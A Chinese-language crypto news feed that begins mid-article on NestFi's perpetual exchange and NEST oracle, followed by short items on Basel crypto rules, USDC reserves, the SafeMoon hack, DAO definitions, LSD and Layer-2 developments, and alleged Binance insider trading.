不能共用，导致所谓的组合行也只是形式上的组合，而不是流动性的共享。 而从整体上看，NESTFi 的鞅网络与其他去中心化永续合约以及中心化交易所具备了如下差异： 1、无限供给：只要手上有 NEST，就不必担心因为缺少市场流动性而难以交易，交易者需要的任何基于鞅信息流的交易都可以得到满足，因此其供应是不会因为交易对手而受规模限制的。 2、便捷跟单：NEST去中心化交易所的copy trading功能，是比中心化交易所更有优势的，用户可以直接点击跟单链接，实现几乎一键开单 3、无 LP 成本，风险共担：所有持有 NEST 的人一起来承担 NEST 供给减少和增加的风险和收益，交易者直接与协议做交易，这也正好是区块链及分布式网络的特征。而在传统市场网络里，风险管理主要依靠做市商对冲，把风险转嫁给市场，这样的对冲的成本往往非常高。 NEST 预言机 NestFi 永续合约交易所依赖于 NEST Oracle 报价：NEST 预言机 Price Model给定链外一个价格流，如何设计一个去中心化博弈，使得该博弈均衡能输出一个价格流，并保证该价格流与链外价格流偏差尽可能小。NEST 预言机通过报价挖矿、双向期权、验证周期、价格链及β系数等模块解决了这一问题。NEST 提供的价格序列，并不改变资产价格的分布，而是接近一种离散的取样模型，这是由去中心化博弈的结构决定的，报价偏差和报价密度取决于套利市场的深度和 NEST token 的价格。总体来说，NEST 提供了一个有效的去中心化预言机，保持了价格的基本性状。 NEST 预言机是完全开放的博弈网络，理论上可以提供一切价格信息流，但从整个网络的安全性来说，用于鞅函数的价格信息流依然会被约束在少量市场较为有效的去中心化资产上，比如 BTC/ETH。 1、扩展 U 本位交易功能：在 NEST 流动性更大的时候，可以引入NEST/USD预言机，从而将交易对标的资产从 X 个 nest 变成 X 个 USD 的 nest，这样能满足许多试图基于法币本位建立对冲头寸的需求。 2、探索多交易对可能性：除了 NEST 作为鞅网络的原生价值单位外，我们还可以引入 PUSD，PETH，PBTC 等 USD/ETH/BTC 的等价资产作为鞅交换的价值单位，这样整个网络的应用将更为广阔。 3、扩展除永续合约DEX以外其他的应用场景：一些基于随机性的基础设计游戏如抽签、道具合成、彩票、博弈类游戏，可以直接采用 NEST 提供可以解决确定性数学关系、概率关系、随机过的鞅函数，换句话说，也可以直接以 NEST为交易对手方，资产以 NEST 定价，拓展更多的 NEST 使用场景和消耗途径。 NestFi 提供了一种全新的范式：将金融产品理解成基本折现函数的编程，其成本便是调用该函数的费用，这和 EVM 很类似，不同的是，折现计算机的经济关系是内生的。这种新的范式可以覆盖几乎所有的金融产品（服务），并且随时可以买入并无限流动性结算，这里不需要做市商，不需要保证金，不需要 margin call，不用担心无法结算。只要 Nest 的流动性足够，还原传统金融市场也是极其简单的事情，其功能将十分强大。而且，由于发行和结算这样的困难问题得到解决，传统衍生品交易所即可专注于二级市场，从而极大降低其成本。 风险提示： 1、鞅交易本质上是一种新的交易范式，可能尚未被广泛采用，或者还未被证明是有效的。因此，对于鞅交易的具体细节和实际应用，需要进一步研究和评估。 2、在用户的层面来讲，NestFi 的可开杠杆倍数，使用币种，可交易对数量，交易费率等并不占优势，虽然无任何 LP 成本，但同样意味着无法吸引用户质押任何资产，在 NEST 的普及有一定限制。 版权声明：如需转载欢迎加小助理微信沟通，未经允许转载、洗稿、我方将保留追究法律责任的权利。 免责声明：市场有风险，投资需谨慎。请读者在考虑本文中的任何意见、观点或结论时严格遵守所在地法律法规，以上内容不构成任何投资建议。  ( 5 min )
    巴塞尔银行监管委员会主席：若对金融产生连锁反应，可以修改加密银行规则
    PANews 3月29日消息，据CoinDesk报道，巴塞尔银行监管委员会主席兼西班牙央行行长Pablo Hernández de Cos在国际清算银行主办的一次活动中表示，要求银行将比特币 (BTC) 等无担保加密资产视为风险最高的资产的新资本规定将于2025年1月生效，如果这些规则最终对金融产生连锁反应，则可能会对其进行修改。 Hernández de Cos称：“由于我们知道市场在不断发展，因此我们将针对该标准所做的工作是专注于可能特别容易受到市场变化影响的某些要素。我们应该准备好在需要时修改标准，以尽量涵盖市场潜在的内生反应。”Hernández de Cos还表示：“委员会将监督规则的实施。作为该委员会成员的主要司法管辖区应该在不到两年的时间内将它们落实到位，欧盟等一些地方的立法者已经采取行动这样做。这些规则旨在间接消除加密市场可能对其他市场构成的潜在风险，加密货币可能会对银行业产生潜在的溢出效应。” 此前去年12月消息，巴塞尔银行监管委员会批准将于2025年1月1日实施的加密银行规则。据悉，巴塞尔银行监管委员会是全球银行业合规的主要标准制定者，由来自28个管辖区的45个国家央行和监管机构组成。 相关阅读：解读巴塞尔协议将加密资产纳入其监管  ( 4 min )
    Circle：USDC储备80%为短期美债，20%为现金存款且大部分存于GSIB银行
    PANews 3月29日消息，Circle在博客文章中披露“USDC储备的结构和管理方式”。文章称，USDC储备约80%为短期美国国债，约20%为美国银行系统的现金存款。储备是完全透明的 ，并受制于第三方保证有足够的资产来满足负债。它不包含具有不同风险状况的任何其他资产。USDC储备中的国债由SEC监管的全资政府货币基金结构持有。它们不受任何锁定或赎回门槛的限制。每天都有关于该投资组合的独立第三方报告 ，具体到每只证券。 Circle持有约20%的现金储备，以满足客户的即时流动性需求。在最近多家银行倒闭后，Circle已采取措施降低银行系统的风险，目前已将储备金的大部分现金部分存放在全球30家全球系统重要性银行之一(也称为GSIB)。Circle还在交易银行合作伙伴处持有少量资金，以支持USDC流动性操作。 此外，Circle表示，该公司一直渴望直接在美联储持有USDC储备的现金部分，实现将USDC作为真正的代币化现金的愿景。为此，需要稳定币立法。Circle还表示，为了USDC持有者的利益，USDC储备金存放在隔离账户中。  ( 4 min )
    DeFi协议SafeMoon遭遇攻击，其流动资金池损失约890万美元
    PANews 3月29日消息，据The block报道，根据链上记录，基于BNB链的DeFi协议Safemoon今天早些时候遭到攻击，导致其流动资金池流失近890万美元。Safemoon在推特上证实了此次攻击事件。安全公司 Peckshield表示，最近的更新可能引入了一个“公共销毁漏洞”，为黑客攻击提供了便利。黑客能够使用代码功能人为地提高SFM代币的价格，然后在同一笔交易中将足够多的代币卖回流动性池，从而有效地从合约中抽走WBNB。  ( 4 min )
    DAO已经“烂大街”？不，你需要区分真DAO与假DAO
    原文：《Defining Real and Fake DAOs》by Gabriel Shapiro 编译：深潮 TechFlow 在最纯粹的形式下，“DAO”指的是一个未注册的人员联合体（“组织”），利用抗审查技术无需许可（“自主”）地参与共享资源和目标的非等级性、广泛分散的（“去中心化”）治理。 不符合此定义的组织不能被视为“DAO”。 因此，一个组织之所以不值得被授予“DAO” 称号可能会有许多原因 我将在下面进一步解释 DAO 的本质。 “DAO”这个术语被应用于如此多不同的组织，以至于它已经接近没有意义。我想纠正这一点。 我认为，无论 DAO 是什么，它们必须落入三个清晰而明确的概念范畴中： 我的内心在高喊着每个单词——“去中心化”、“自治”和“组织”，它们有其存在的理由，不能有任何一个与其他单词重复。 因此，“去中心化”不能意味着与“自治”相同——否则我们将称之为“DOs”（去中心化组织）或“AOs”（自治组织）。 我们不这样称呼它们。 我们称之为“DAOs”。这意味着在评估某些东西是否为“DAO”时，我们必须分别检查这三个方面，以便得出结论：是的，这个东西是“DAO”，而不是其他。 “组织” Webster 对“组织”最相关的定义如下： “Association”在相关部分的定义如下： “Society”在相关部分又作如下定义： 因此，一个 DAO 是由个人组成的某种共同目标或以规律方式相互交互的协会。对于那些学习公司法的人来说，我们知道协会有两种主要类型：非法人和公司。 基本上，我们都知道“组织”是什么——它是由自然人或法人组成的未注册或注册的协会。我故意用“自然人”这个词，是因为协会也可以是法人。因此可能存在由协会组成的协会或由协会和个人组成的协会。 我认为组织可以是中心化或去中心化的，自治或非自治的是无争议的。例如，Twitter Inc.是中心化（其最终决策权属于董事会），并且相对非自治（它旨在为股东的利益赚取利润，股东可以随意任命和撤换董事会）。Ethereum Foundation 与 Twitter Inc.类似，是中心化的（其拥有董事会或类似的管理机构），但不同于 Twitter Inc.，它相对自治（它只遵守其章程，该章程可以由其管理机构修改，管理机构不是由其他权力或受益人组成的委员会选出的）。 *注意：这两个实体都不符合我认为应该用于“DAO”的更严格的“自治”概念，如下所述。 “去中心化” “去中心化”比“组织”更难定义，但相差不大。Webster 在相关部分对“去中心化”的定义如下： 当权力被广泛分散或分布时，去中心化就会发生。 这可以通过许多不同的方式实现：例如，所有组织决策都可以由代币持有人投票确定，但代币所有权和投票投票率可能在许多“小鱼”（每个人持有总代币供应量/总投票权的一小部分）之间广泛分散。另外，不同类型的决策可以委托给不同的人员群体，并且这些群体之间的协调可以是非正规和非等级性的。 后一种去中心化的良好例子是比特币。除了共识协议本身之外，在挖掘节点、非挖掘节点、用户、交易所和核心开发人员之间不存在正式的治理规则，但这些群体对比特币具有不同类型的影响，基本上通过“粗略的社会共识”以紧急基础来治理比特币。这些不同代表团体相互施加的制衡相互之间决定了权力冲突，并决定了作为一个表象的“比特币”的命运。（如果您对此表示怀疑，并认为存在不同的情况——例如，比特币是“由矿工管理”的——只需看一下“块大小战争”的曲折历史以及它们是如何解决的即可。） “自治” “自治”是最难定义的，也是构成“DAO”的最容易被忽视的元素。Webster 在相关部分对“自主”的定义如下： 我相信许多人误解并错误地定义了“自治”这个术语，而这与对“智能合约”的误解有关。 智能合约技术的一种广泛误解是，智能合约可以在没有人类干预的情况下“自动”工作——它们是某种“非人类代理人”，参与组织的“算法治理”。相反，智能合约只是存储在区块链上的被动对象代码。当用户请求调用它时，挖掘者/验证者会调用该代码，并提供支付给挖掘者/验证者以使其进行此类调用并将结果写入新块。换句话说，除非其中一个功能特别且手动地由人类（或人类的代理——例如，“机器人”）调用，否则智能合约永远不会做任何事情。智能合约是最不自动或自治的——它们是外部输入的奴隶。 因此，有人会误解“DAO”中“自治”一词的意思，将“自治组织”解释为“利用智能合约的组织”。这种误解是一个巨大的“欺骗”，它允许许多在 Webster 意义上不是“自治”的安排仅仅因为它们涉及所谓的“自动”技术——智能合约而被认为是“DAO”。然而，“自治”并不意味着“自动”，即使它确实如此，智能合约也不是自动的。智能合约显然也不是自治的，因为它们无意识和惰性，而不是自发和自控。 因此，在“DAO”中使用的“自治”一词不是指某种技术（智能合约），而是指某种组织形式。换句话说，“DAO”中的“去中心化”和“自治”是形容词。“组织”是这些形容词所修饰的名词。因此，“DAO”是一个去中心化和自治的组织。 请记住，我们曾经说过，“组织”是“个人协会”的意思？这意味着“自治”不能是智能合约的特质——它必须是人员——即使用智能合约的组织的品质。 所以，那么“自治”真正意味着什么？好吧，Webster 的定义非常正确： 这个定义清楚地揭示了“自治”和因此“DAO”的“无审查技术”或“异见技术”的作用。例如： 重要的是，上述所有示例都是人员协会（因此是组织），并且（至少可以）去中心化（例如通过没有等级制度和拥有一个人一票的决策制度）。但它们仍然不是 DAO。这是因为它们不是自治的；它们依赖的技术、协会方法和资源受到了太多的任意外部控制，这使得这些团体“依靠陌生人的好意”。 相比之下，以下任何一个都更可能被视为自治性更强，因此潜在地可以成为 DAO： 自治组织的很多良好过去、现在和/或虚构的例子包括 Hassan i Sabbah 的刺客组织、海盗湾、维基解密、比特币、匿名者、琼斯教、界区、《沙丘》中的自由民、索科维亚协议之前的复仇者联盟以及 Mr. Robot 中的虚构 F. Society。不用说，国家也是自治的（尤其是超级大国）。 具有讽刺意味的是，原始的“theDAO”并不是非常自治的。以太坊硬分叉改变了 theDAO 的运营结果的方式表明，theDAO 可以通过一小群有影响力的以太坊开发人员和矿工进行外在审查。然而，今天在以太坊上的 DAO 比最初的“theDAO”更自治，因为争议性的以太坊硬分叉的协调难度和成本比 2016 年高得多。 同样，许多所谓的“使用智能合约的 DAO”并不是“自治的”。五个七个 Gnosis 多重签名确实是一个智能合约，但由此管理的组织很难被认为是“自治的”。智能合约是工具——它们增加还是减少自治取决于其特点以及如何使用它们。 *注：我并不是说 2016 年的硬分叉构成了对 theDAO 的审查。硬分叉发生改变 theDAO 的状态逻辑，使用了与 theDAO 代币持有者的投票权和 theDAO 的状态更改引擎相异的外部能力，仅仅表明 theDAO 比最初描述的更容易被审查（因此自治性更低）。 好的，停止使用“DAO”一词来指代那些几乎没有试图自治的组织（如 Wyoming 有限责任公司）。虽然去中心化和自治是连续体，但“DAO”一词应该保留给那些在当前技术范围内在尽可能多的维度上接近相对去中心化和相对自治的组织，并且至少渴望通过推动异见技术的创新在尽可能多的维度上变得尽可能去中心化和自治的组织。 仅仅以某种表面的方式使用区块链或智能合约并不足以让一个组织被认为是“DAO”。对于使用智能合约但并非 DAO 的组织，我更喜欢术语“增强网络组织”（cybOrgs）。考虑使用该术语或其他类似术语，而不是为了制造炒作而污染“DAO”概念的含义。 现在让我们建立更好的 DAO。  ( 5 min )

  • Open

    多生态 LSD 发展报告：赛道很宏伟，项目很早期
    Chainfeeds 导读： Forj Network 研究员 Wayne Zhang 发布报告，从数据端观察以太坊之外的其他公链生态的 LSD 发展情况及玩法，并探讨数据背后对 LSD 行业影响，以及关于 LSD 产品设计，正义性的讨论。调研公链包括：BNB Chain、Cardano、Polygon 等 Coingecko MC 中排名前 25 的部分公链。 文章来源： https://mirror.xyz/0x24E3cff51F88862c3C7279da7a398fF70eC22A09/U404-ffK-pJwgSDOEFfRIV530gHAJ21A8IchroE-2Xs 文章作者： Wayne Zhang 观点： Wayne Zhang：1）从 Lido，Stader，Bifrost 等 LSD 的多链规划中可以看出，LSD 业务多链化是一个必然趋势；2）很多 LSD 项目的 UI/UX 体验较差；3）CEX 是一个绝不能忽略的因素，作为 Web3 最大的流量入口和各种 Token 的汇集地，除流动性外也将影响 token 投机者对 LSD 赛道的更多关注； 内容来源 Wayne Zhang：4）Aptos 主网上线后部分 LSD 协议停摆提醒我们注意接下来即将上线的新 L1s/L2s 生态中的 LSD 协议，选择能持续经营的项目投入资产；5）最近 FVM 上线，SFT，MFIL，STFIL，HashMix 等 LSD 方案已经准备上线。LSD 已成公链必备 DeFi 协议； 内容来源 Wayne Zhang：6）通过 LSD 赚取奖励分成，或接入 LSD Pool 以及 LSD DeFi 产品提供真实收益，对于综合性 DeFi 来讲，LSD 业务或许会成为老 DeFi 的收入新增长点；7）MetaMask 在一月宣布开放以太坊质押功能，目前属于 Beta 测试版。而在 Cosmos，Keplr 钱包则是很多人质押资产的入口，Cardano 上也有类似的质押 SPO 的钱包入口，LSDFi 项目或许可以把合作对象放在钱包端。 内容来源  ( 7 min )
    【英文长推】盘点 6 个推动以太坊及 L2 更接近大规模采用的催化剂
    Chainfeeds 导读： 推特 DeFi 研究员 The DeFi Investor 盘点了 2023 年以太坊生态系统即将发生的 6 件重要事项，或将推动以太坊及 L2 更接近大规模采用，包括：Eigenlayer、上海升级、Optimism Bedrock 升级、Arbitrum Stylus 升级、zkEVM 和 Proto-danksharding。 文章来源： https://twitter.com/TheDeFinvestor/status/1640736066876440577 文章作者： The DeFi Investor 观点： The DeFi Investor：1）Eigenlayer 主网：将于第三季度推出。Eigenlayer 正在构建一个市场，ETH 节点运营商可以选择提供额外费用的服务，甚至可以为侧链甚至非 EVM 网络等网络提供验证，任何项目都可以利用 Eigenlayer 的技术。即将推出的模块化 L2 项目 Mantle 就使用了 EigenLayer 的数据可用性解决方案；【原文为英文】 内容来源 The DeFi Investor：2）以太坊上海升级：将于 2023 年 4 月启动，届时将启用 ETH 质押提款。该升级将设置取款队列，防止所有人一次性取回其质押的 ETH。此外，似乎只有不到 50% 的 ETH 质押者处于盈利状态，因此不太可能导致大规模 ETH 抛售；3）Optimism Bedrock 升级：将于 2023 年第二季度启动，将使 Optimism 上的平均交易费用降低，存款速度更快，还将使 Optimism 能够整合 ZK 证明，更加安全；【原文为英文】 内容来源 The DeFi Investor：4）Arbitrum Stylus 升级：将允许在 Arbitrum 上部署使用 Rust 和 C++ 等编程语言编写的程序，使其成为第一个支持多种编程语言的 L2，且更具可扩展性；5）zkEVMs：zksync 和 Polygon 已经推出了 zkEVM 主网，Consensys 和 Taiko 预计也将在今年晚些时候推出；6）Proto-danksharding：将为以太坊引入一种新的交易类型，大幅降低 L2 的交易费用，使以太坊 L2 更具可扩展性，且更适合散户投资者。【原文为英文】 内容来源  ( 2 min )
    隐私公链 Iron Fish 公布代币经济模型，创世区块将释放 4200 万枚代币
    隐私公链 Iron Fish 公布代币经济模型，创世区块将释放 4200 万枚代币 隐私公链 Iron Fish 公布代币经济模型，将在主网上线的创世区块中释放 4200 万枚代币，代币总供应量上限为 256,970,400 枚。最初释放的 4200 万枚代币中，测试网空投占比 2.25%；未来空投占比 2.25%；Pre-Seed 轮投资者占比 5.1%；种子轮投资者占比 9.9%；A 轮投资者占比 14.5%；顾问占比 0.6%；核心团队占比 37.4%；IF Labs 占比 5%；用于未来捐赠的代币占比 5%；Iron Fish 基金会占比 18%。包括投资者、顾问和员工在内的内部人员分配的代币将有 12 个月锁定期，而后分为 12 个月进行释放。 内容来源  ( 4 min )
    OmniChain 的未来：ZetaChain，第一个可实现完全互操作智能合约的公共 Layer1 区块链
    Chainfeeds 导读： 跨链赛道一直是区块链领域关注的重点之一。其中，Omnichain 被许多人认为是跨链的未来。本篇报告由 TokenInsight 与 ZetaChain 合作推出，详细介绍 ZetaChain 的跨链机制，并将现有跨链技术与 ZetaChain 的 Omnichain 功能进行详细对比，阐述 ZetaChain 在技术上的关键创新及目前的生态发展情况。 文章来源： https://tokeninsight.com/zh/research/reports/the-future-of-omnichain-zetachain-a-novel-layer-1-blockchain-enables-fully-interoperable-smart-contracts 文章作者： OxXyystnb 观点： OxXyystnb：为解决现阶段跨链协议的弊端并实现全链跨链功能，ZetaChain 开发了一系列用于跨链资金传递和通用多链编排的工具：Omnichain 智能合约、账户以及消息传递。此外，在验证机制方面，ZetaChain 计划结合中继器和多方验证方案，使用网络内分布式验证节点架构以及阈值签名方案 TSS 验证交易。 内容来源 OxXyystnb：ZetaChain 的跨链通信功能主要靠其网络内的分布式验证节点实现。它计划利用自己网络内的验证节点代替中继器和预言机，帮助验证跨链交易信息并实现喂价功能；Omnichain 账户允许用户连接包括智能合约平台、非智能合约平台在内的全部区块链网络，以实现资金的全链跨链转移。它作为交易的基站，用于管理和验证与外部链相关的交易。具体交易验证由阈值签名方案 TSS 支持； 内容来源 OxXyystnb：借助 Omnichain 智能合约，开发者可以构建不同种类的 Omnichain DApps。仅需通过 ZEVM 在 ZetaChain 网络上部署单个智能合约，即可连接包括 ZetaChain 本身在内的所有目标链。zEVM 上的合约与 ZetaChain 的互操作性层相连，能够协调外部链上的资产，实现链与链之间的资产跨链转移。 内容来源  ( 4 min )
    IOSG 周报：Security vs Trustlessness，ZK 协议在机制上该如何取舍
    Chainfeeds 导读： IOSG 在 ETHDenver 期间举办的以安全为主题的活动，参与嘉宾包括 zkSync 联合创始人 Alex Gluchowski、Scroll 联合创始人和研究负责人 Ye Zhang、Taiko 首席运营官 Matt Finestone、Nil foundation 创始人 Mikhail Komarov 和 Risc0 创始人 Brian R，共同探讨分享了零知识证明协议在机制设计和工程建构上的安全原则与新颖方案，以及在设计过程中的种种权衡。 文章来源： https://mp.weixin.qq.com/s/VLCPzFeHJ1NqL4U7fd_xCA 文章作者： IOSG Ventures 观点： Alex Gluchowski（zkSync 联合创始人）：我认为 Trustless 将增强安全性，这将为我们提供多一重因素的保护。首先，ZK Rollup 必须为每个块提供有效性证明，在此之上，我们还需要通过权益证明共识机制来提供签名。总体来说，这为整个系统提供了两个因素的保护。而且，我们可以在此基础上添加更多因素。到目前为止，我不会相信一个号称完全无需信任的 ZK Rollup 是安全的。我们始终希望至少有两个完全独立的安全因子，来降低故障的概率。 内容来源 Ye Zhang（Scroll 联合创始人）：我认为最终我们将同时去中心化 Sequencer 和 Prover。但是我们有一些略微不同的优先排序，我们希望先将 Prover 去中心化。安全性绝对是重要原因之一。如果先将 Sequencer 去中心化，那在 zkEVM 变得非常成熟稳健之前，如果有人真的发现了一些漏洞并提交了虚假证明，它有一定概率会被 Sequence r 接受并出块，对系统造成破坏。因此，我们会先保留中心化的 Sequencer。我们希望至少在早期阶段通过控制中心化的排序保证正确有效的出块。 内容来源 Matt Finestone（Taiko 首席运营官）：我们将使用 Permissioned Proposer，让任何去中心化的 Prover 提交区块，并得到相应的奖励。另外，如果系统出现故障，一个 Prover 提交了有效性证明，同时也出现了一个不一致的证明被提交，那么智能合约就可以知道并且暂停，也就引发了时间延迟。如 Alex 所说，我们当前无法对完全无需许可、无需信任的实施感到放心，我们要努力实现平衡。 内容来源 Mikhail Komarov （Nil Foundation 创始人 ）：我们采用了一种不同的方法，自下而上来解决问题。我们首先建立了一个去中心化 Prover 网络，无需许可地汇集算力，然后试图在其基础上添加 Sequencer。为了确保所有的证明生成都有一个激励机制来加速完成，并提高质量和保持安全性，我们引入了证明市场（Proof market）来管理所有证明的生成和排序。同时，我们保持了这个系统的去中心化和无需许可性。 内容来源 Brian Retford（Risc0 创始人）：我们采用了一种更无需信任的方式。我们当前没有关注 Sequencing 的问题，而是关注在证明系统上，让它能够更加强健地进行各种运算。这种方法简化了很多复杂性，有利于尽快将最多的计算量投入市场。我们希望降低开发人员的使用门槛，让他们在以太坊或任何系统上建立任何他们想要的应用程序，并拥有这个去中心化的基础计算层，用零知识证明来保证计算的正确性。 内容来源  ( 33 min )
    LD Capital：复盘 USDC 脱锚风波中的危与机
    Chainfeeds 导读： LD Capital 发文探讨在 USDC 脱锚危机中，受影响最大的借贷、交易类协议、去中心化稳定币系统的表现，以及潜在的交易机会。 文章来源： https://ld-capital.medium.com/trend-research-by-ld-capital-复盘usdc脱锚风波中的危与机-a7468ca99db0 文章作者： LD Capital 观点： LD Capital：中心化稳定币：首先使得市场对所有稳定币产生质疑和恐慌抛售，随后其他竞争者有机会抢占其份额。同时，恐慌期间未出风险的稳定币下跌事实上提供了低风险套利机会；去中心化稳定币：以 USDC 为储备金或抵押品的去中心化稳定币（如 DAI、FRAX、MIM 等）期间一起出现大幅度脱锚，伴随清算风险和套利机会。同时，也可能会刺激那些不依赖法币储备金或抵押品的去中心化稳定币（如 sUSD、LUSD、RAI 等）的创新和发展； 内容来源 LD Capital：链上借贷：使用 USDC 作为借贷资产或抵押品的链上借贷平台（如 Aave、Compound 等）出现利率波动、USDT 流动性枯竭或清算事件。同时，默认 USDC 价格为 1 美元的 Compound 面临更大风险；DEX：使用 USDC 作为交易对或流动性池资产的链上 dex（如 Uniswap、Curve 等）出现价格滑点或套利机会。同时，也可能会推动链上 dex 提高其交易效率和灵活性，以适应市场变化。 内容来源 LD Capital：在这次 USDC 脱锚危机中，USDC 的折价给 DeFi 系统一度带来了巨大的不确定性，但随着政府和监管的出手，这一危机逐渐化解。在此过程中，既存在对价格回锚的单向押注；也存在利用机制漏洞进行低风险套利的行为；也存在因为恐慌而错杀的各类资产价格回购的交易；此外，也不能忽视市场大幅波动给杠杆交易、LSD 等应用带来的被动式收入上升，这类应用本身存在 USDC 风险敞口小，反而成为被动受益者。 内容来源  ( 5 min )
    Hypercerts 基金会与 Gitcoin 达成合作：发布有史以来第一个官方超级证书
    Hypercerts 基金会与 Gitcoin 达成合作：发布有史以来第一个官方超级证书 Hypercerts 基金会邀请符合条件的参与 Gitcoin 计划 Alpha 轮的项目，为他们过去的工作铸造一个超级证书，并将其一部分分配给支持者。这是有史以来发布的第一个官方超级证书，使用 ERC-1155 半同质化代币创建，信息存储为 IPFS 元数据，该协议已在 Optimism 上运行。一旦 Gitcoin 计划 Alpha 轮超级证书被铸造出来，任何以至少 1 美元 DAI 的贡献支持项目的人都可以连接并领取他们的分数，分数无法出售或转让。 Hypercerts 是一种新的协议，用于资助和奖励积极影响。每个超级证书都是对工作和由该工作产生的影响的公开声明，项目可以创建超级证书并将其分发给贡献者。Hypercerts 创建一个单一、开放、共享和去中心化的数据库，来追踪影响声明和资助基金。 内容来源  ( 15 min )
    Layer1 公链 Sei 成立 Sei 基金会，处理代币赠款和空投等事项
    Layer1 公链 Sei 成立 Sei 基金会，处理代币赠款和空投等事项 Layer1 公链 Sei 宣布成立 Sei 基金会，作为支持 Sei 生态系统的非营利组织来资助协议开发、发展生态系统，Sei 基金会将处理代币赠款、空投、产品请求、倡议和委托计划等。Sei Labs 团队则继续致力于开发开源软件。 内容来源  ( 2 min )
    【英文长推】FatMan：链上数据揭露疑似币安内部交易
    Chainfeeds 导读： 币安及其 CEO 赵长鹏昨日被美国商品期货交易委员会（CFTC）起诉涉嫌违反交易和衍生品规则，诉讼书中提到币安存在内部交易平台。加密 KOL FatMan 通过追踪链上数据，找到了一个疑似通过提前获取上币信息获利 7 位数的钱包地址。 文章来源： https://twitter.com/FatManTerra/status/1640677879196397571 文章作者： FatMan 观点： FatMan：0xd23 钱包在币安上币 FXS 前 3 天持续购买该代币，并在上币当天将所有 FXS 转账到币安。他的第二个钱包 0x51 在 TVK 上线币安的前 2 天购买了 131 ETH 的 TVK，并在之后的上涨中直接通过 DEX 套现了 277 ETH。【原文为英文】 内容来源 FatMan：内幕交易对散户投资者的影响是隐形但却是至关重要的。一枚本应上涨 20% 的代币可能只会上涨 10%，而且没有人会发现有人正在利用不道德的优势暗中窃取市场优势。币安与次钱包持有人的关系不得而知，但显然此人并没有掩盖自己的操作。【原文为英文】 内容来源 FatMan：积极的一面是区块链是不朽的，交易记录永远不会被抹去。我乐观地认为，在这些交易公开后，币安或执法部门可以迅速对违规者采取行动。为自由和公平的市场干杯。【原文为英文】 内容来源  ( 2 min )
    【英文长推】盘点模块化区块链相关的项目：Eclipse、Nautilus Chai、Celestia...
    Chainfeeds 导读： 单体区块链时代结束，未来将是模块化的。加密货币研究员 Zero Knowledge 认为 Eclipse 和 Nautilus Chain 合作是证明未来区块链是模块化的一个很好的例子，并介绍了模块化区块链相关的项目。 文章来源： https://twitter.com/expctchaos/status/1640730503035891714 文章作者： Zero Knowledge 观点： Zero Knowledge：Eclipse 是一个框架，可让用户在任何链上使用 Solana VM （Sealevel VM）构建可定制的模块化汇总。虽然这允许在 VM 上运行为 Solana 编写的程序，但 Eclipse 并未使用 Solana 来确保安全。【原文为英文】 内容来源 Zero Knowledge：Nautilus Chain 是一个使用 Eclipse 部署的 Optimistic EVM rollup。Nautilus Chain 上的 dApp 包括每天有 20,000 多名活跃用户的支付流协议 Zebec Protocol，Poseidon Swap（DEX）等。【原文为英文】 内容来源 Zero Knowledge：Celestia 是一个模块化的、与链无关的数据可用性层，为 rollup 提供高度可扩展的、去中心化的、便宜的 DA 解决方案，并为 rollup 提供高安全性保障。【原文为英文】 内容来源  ( 2 min )
    【英文长推】新项目前瞻｜专门为 DeFi 打造的 Layer1 协议：Glitch Protocol
    Chainfeeds 导读： 如今大多数的 Layer1 协议都受到了复杂性和可扩展性的限制。其中一个原因是它们试图一次性完成所有事情。Glitch Protocol 是为 DeFi 设计的 Layer1 协议，专注于收入共享和低费用。加密货币 KOL Crypto Nova 从其特点入手介绍了此项目。 文章来源： https://twitter.com/cryptogirlnova/status/1640692065431613443 文章作者： Crypto Nova 观点： Crypto Nova：Glitch Protocol 是一个快速、互操作的区块链协议，专门为 DeFi 打造。GLCH 不再旨在成为万能工具，而是将重点放在去中心化金融应用和无信任货币市场上。Glitch 独特之处在于其收入共享机制。它提供激励开发人员构建高质量的 dApps 以推动采用率，并奖励开发人员、流动性提供者和用户，并确保低费用。除此之外，生态系统具有高度互操作性。【原文为英文】 内容来源 Crypto Nova：Glitch 即将发布其主网，这意味着开发人员可以在他们的区块链上构建并启动 dApp。每个 dApp 都可以为其用户提供更快速、更便宜的交易。Glitch 支持许多不同的编程语言，也提供开发的资金激励。Glitch 还将启动自己的应用程序作为基础。【原文为英文】 内容来源  ( 2 min )
    【英文长推】解读去中心化交易所 Trader Joe 的潜力
    Chainfeeds 导读： 在 ARB 空投后，去中心化交易所 Trader Joe 吸引了约 1600 万美元的流动性，并在一周内从超过 1 亿美元的交易量中产生了巨额交易手续费。加密货币 KOL Tindoor 从流动性簿模式、用户策略等方面解读了 Trader Joe 的潜力并阐述他看好的原因。 文章来源： https://twitter.com/0xtindorr/status/1640794177943506944 文章作者： Tindorr 观点： Tindorr：Trader Joe 上的用户改为在他们喜欢的价格范围内提供流动性，使其称为「流动性簿」，流动性簿将 bins 组合成一个结构，汇总所有 bin 的流动性。用户可以选择要将 LP 提供到任意 bin 里。同时还支持：仓位定制、流动性集中、资本效率、零滑点互换。【原文为英文】 内容来源 Tindorr：Trader Joe 上的 TVL 在过去 7 天内飙升了 256%，成为最近在 Arbitrum 上增长最快的协议之一。此外，他们一直在为 ARB 池提供非常好的 APR。这次 ARB 空投让很多用户意识到了流动性簿的潜力，以及他们在未来可以通过新代币的推出做更多的事情。我预计他们将为该协议提供更多流动性，并最终在 Arbitrum 上进入前 10 TVL。【原文为英文】 内容来源  ( 2 min )
    【长推】一文解析基于 Arbitrum 的去中心化交易所 Trade Joe V2 机制
    Chainfeeds 导读： 最近 Trade Joe V2 因为从 Uniswap 手里抢到大量 Arb 交易份额而火爆，币价迅速翻倍。那么其究竟是如何做到的？为其提供流动性又需要注意些什么？加密货币研究员 CapitalismLab 从 AMM 机制、流动性激励机制、产品优劣势等方面解析了此项目。 文章来源： https://twitter.com/nintendodoomed/status/1640655630267744257 文章作者： CapitalismLab 观点： CapitalismLab：Joe V2 中的 ARB/ETH 20bps 池与 UNI V3 类似，但其根本性不同在于 Joe V2 一个长条（bin）即对应一个单点价格。添加流动性时可以添加单点流动性，相当于在订单簿中放一个 Maker 单，旁边的 Pct Rage = 0.20% 是最小价格精度，基于比例而非固定数值。 内容来源 CapitalismLab：高波动率下的经常性汇率优势 + 相对较低的费率，使得 Joe V2 在 ARB 启动初期获取了大量的份额。目前随着波动率的下降，其汇率也不再有经常性优势；UNI V3 LP 回归 0.05% 费用的池子，也基本失去费率优势，所幸名声打出来了，加上其有不错的激励机制，给了项目方更大的操作空间。 内容来源 CapitalismLab：优势：垂直聚合流动性带来更好的可组合性；高效率 + 支持激励，可以拿到合作方的激励，比如有望受益于 LSD war。劣势：没有成熟的 Bribe 等代币赋能机制，代币持有者收益有限；无常损失相对较大。 